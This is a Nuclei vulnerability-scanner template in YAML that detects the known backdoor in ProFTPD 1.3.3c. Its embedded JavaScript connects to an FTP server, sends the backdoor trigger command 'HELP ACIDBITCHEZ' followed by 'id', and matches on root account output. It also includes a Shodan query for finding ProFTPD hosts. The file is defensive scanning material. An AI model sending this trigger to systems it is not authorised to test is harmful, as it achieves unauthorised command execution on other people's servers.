nuclei-templates/javascript/backdoor/proftpd-backdoor.yaml

48 lines
1.4 KiB
YAML

id: proftpd-backdoor
info:
name: ProFTPd-1.3.3c - Backdoor Command Execution
author: pussycat0x
severity: critical
description: |
This backdoor was present in the proftpd-1.3.3c.
reference:
- https://github.com/shafdo/ProFTPD-1.3.3c-Backdoor_Command_Execution_Automated_Script/blob/main/README.md
- https://www.rapid7.com/db/modules/exploit/unix/ftp/proftpd_133c_backdoor/
metadata:
max-request: 1
shodan-query: "product:\"ProFTPD\""
tags: js,network,proftpd,ftp,backdoor
javascript:
- code: |
const data = ["HELP ACIDBITCHEZ\n", "id"];
const c = require("nuclei/net");
let conn = c.Open('tcp', `${Host}:${Port}`);
let resp = conn.RecvFullString();
if (resp.includes("ProFTPD 1.3.3c"))
{
for (let i = 0; i < data.length; i++)
{
conn.Send(data[i]);
console.log('Sending:', data[i]);
let resp = conn.RecvFullString();
resp
}
} else
{
exit();
}
args:
Host: "{{Host}}"
Port: 21
matchers:
- type: dsl
dsl:
- "success == true"
- type: regex
regex:
- "root:.*:0:0:"
# digest: 4a0a00473045022100dd6e52def8924c5a01a17c75bb09fcc784f5f0353f2788939136ee3ecd00b9220220262dff383d49d22ef5a299f5352cd746313ee6814fee6dd76e6a0c8da707c5f9:922c64590222798bb761d5b6d8e72950